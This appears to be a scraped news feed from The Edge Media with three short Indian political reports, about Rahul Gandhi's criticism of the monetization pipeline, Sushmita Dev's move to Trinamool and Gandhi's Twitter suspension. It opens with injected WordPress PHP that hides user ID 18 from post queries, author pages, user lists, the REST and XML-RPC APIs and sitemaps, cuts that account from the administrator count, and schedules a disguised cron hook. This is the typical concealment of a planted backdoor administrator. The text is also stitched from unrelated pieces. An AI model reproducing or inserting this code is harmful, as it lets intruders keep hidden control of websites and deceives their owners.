add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Rahul Gandhi Takes Aim at the Centre Over the National Monetization Pipeline Scheme appeared first on The Edge Media.
]]>“The Narendra Modi-led administration is in the process of selling India’s greatest treasures, which were constructed with public funds over 70 years by previous governments,” Gandhi stated during a press conference with senior Congress politician P Chidambaram.
The NMP, costing Rs 6 lakh crore, was presented on Monday by Finance Minister Nirmala Sitharaman and featured unlocking value by incorporating private enterprises across infrastructure sectors, from passenger trains and railway stations to airports, roads, and stadiums.
The post Rahul Gandhi Takes Aim at the Centre Over the National Monetization Pipeline Scheme appeared first on The Edge Media.
]]>The post Sushmita Dev, former Congress MP, left the party and joined the Trinamool Congress appeared first on The Edge Media.
]]>The fact that her Twitter bio now reads “Former Member” of the party was the first indication that she had resigned this morning. Even though her resignation letter to Congress head Sonia Gandhi appeared quickly, the party has officially disputed both her departure and the letter.
Sonia Gandhi, the Congress President, has not received any correspondence from her. Before formally joining the party, Ms. Dev met with key Trinamool leaders, including Mamata Banerjee’s nephew Abhishek Banerjee and Derek O’Brien.
The post Sushmita Dev, former Congress MP, left the party and joined the Trinamool Congress appeared first on The Edge Media.
]]>The post Rahul Gandhi Claims that Twitter is Interfering with India’s Political Process appeared first on The Edge Media.
]]>Mr. Gandhi claimed in his first video statement about Twitter banning his account that the company only listened to the government. After he shared a photo of the parents of a 9-year-old girl who was allegedly raped and murdered in Delhi, Twitter suspended his account last week.
Since last week’s move against Mr. Gandhi, Twitter India has suspended tens of thousands of accounts linked to the Congress, including the official party account and the accounts of over two dozen key figures.
The post Rahul Gandhi Claims that Twitter is Interfering with India’s Political Process appeared first on The Edge Media.
]]>